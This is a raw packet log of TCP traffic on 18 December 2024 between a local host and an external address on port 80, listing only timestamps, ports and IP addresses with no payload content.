Dec 18, 2024 21:30:45.922391891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.922422886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.922439098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.923150063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.923162937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.923178911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.923209906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.923228025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.923907995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.923921108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.923952103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.923968077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.924449921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.924462080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.924516916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.925178051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.925190926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.925221920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.925249100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.925596952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.925637960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.925642967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.925685883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.926230907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.926249027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.926259995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.926275969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.926290989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.926948071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.926960945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.926991940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.927644968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.927658081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.927695990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.928368092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.928380013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.928426981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.929122925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.929136038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.929147005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.929163933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.929178953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.929795980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.929809093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.929853916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.929872036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.930403948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.930417061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.930466890 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.931088924 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.931102991 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.931145906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:45.931952000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.931963921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:45.932015896 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.091811895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.091896057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.091937065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.091969967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.092000008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.092602968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.092988014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.092999935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.093030930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.093049049 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.093480110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.093661070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.093677998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.093700886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.093722105 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.094463110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.094474077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.094513893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.094917059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.094928980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.094957113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.094979048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.095524073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.095534086 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.095561981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.095581055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.096198082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.096208096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.096255064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.096988916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.096999884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.097011089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.097027063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.097053051 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.097546101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.097563982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.097599983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.098468065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.098479986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.098520041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.098962069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.098973036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.099001884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.099018097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.099597931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.099639893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.099649906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.099683046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.100372076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.100383997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.100394011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.100411892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.100430012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.101131916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.101154089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.101188898 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.101206064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.101764917 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.101775885 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.101814032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.101829052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.102397919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.102410078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.102452040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.103106976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.103123903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.103135109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.103171110 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.103194952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.103837013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.103848934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.103902102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.104438066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.104449987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.104492903 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.105426073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.105437040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.105479002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.105916977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.105927944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.105963945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.106513023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.106524944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.106534004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.106569052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.106585026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.107220888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.107233047 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.107285976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.107876062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.107887030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.107937098 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.108695030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.108705997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.108755112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.109287977 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.109298944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.109309912 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.109352112 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.109368086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.110177994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.110188961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.110222101 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.110236883 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.110650063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.110661030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.110702038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.111373901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.111386061 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.111442089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.112360001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.112390041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.112426043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.112699986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.112710953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.112720966 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.112747908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.112775087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.113441944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.113452911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.113491058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.113506079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.114103079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.114114046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.114156008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.114748001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.114759922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.114793062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.114808083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.115503073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.115514040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.115524054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.115556955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.115586996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.116133928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.116144896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.116173983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.116189957 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.116898060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.116909027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.116946936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.116965055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.117647886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.117659092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.117688894 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.117707014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.118181944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.118192911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.118223906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.118901968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.118913889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.118923903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.118951082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.118966103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.119709969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.119720936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.119765997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.120264053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.120959997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.121006012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.121911049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.121922016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.121963024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.121979952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.122417927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.122447014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.122487068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.123187065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.123198032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.123208046 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.123239994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.123255968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.123678923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.123689890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.123723984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.124520063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.124530077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.124572039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.125267982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.125308037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.283916950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.283977032 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.284092903 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.284105062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.284137011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.284161091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.284773111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.284817934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.285191059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.285202980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.285248995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.285623074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.285866022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.285876989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.285902023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.285917997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.286570072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.286581993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.286627054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.287059069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.287070036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.287110090 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.287789106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.287800074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.287830114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.288439989 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.288450956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.288491964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.289099932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.289112091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.289120913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.289150000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.289165020 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.289767981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.289778948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.289813042 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.290716887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.290767908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.291131973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.291142941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.291177988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.291874886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.291886091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.291894913 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.291918039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.291949034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.292779922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.292790890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.292838097 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.293164968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.293181896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.293214083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.293232918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.294039965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.294051886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.294100046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.295013905 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.295026064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.295033932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.295063019 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.295078039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.295305967 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.295324087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.295383930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.296067953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.296078920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.296113968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.296639919 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.296650887 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.296677113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.296704054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.297310114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.297327042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.297365904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.298187971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.298198938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.298207998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.298237085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.298252106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.298701048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.298712015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.298746109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.299371004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.299381971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.299418926 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.300370932 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.300383091 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.300410986 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.300438881 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.300797939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.300810099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.300818920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.300846100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.300864935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.301558971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.301568985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.301608086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.302118063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.302129984 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.302162886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.302844048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.302855015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.302891016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:46.303663969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:46.303674936 CET	80	49819	31.41.244.11	192.168.2.5
